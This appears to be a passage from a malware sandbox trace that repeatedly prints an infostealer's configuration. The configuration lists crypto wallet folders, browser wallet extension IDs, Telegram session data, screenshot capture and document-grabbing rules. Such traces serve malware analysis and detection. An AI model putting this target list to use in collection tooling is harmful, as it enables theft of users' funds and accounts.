Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.760] lstrlenW (lpString="wlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4090 [0259.760] LocalAlloc (uFlags=0x40, uBytes=0x2074) returned 0x6ef5a0 [0259.761] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0259.761] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.761] StrStrW (lpFirst="wlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.762] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0259.762] LocalFree (hMem=0x6b9720) returned 0x0 [0259.762] LocalFree (hMem=0x6bb720) returned 0x0 [0259.763] LocalFree (hMem=0x6bd720) returned 0x0 [0259.763] StrStrW (lpFirst="wlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 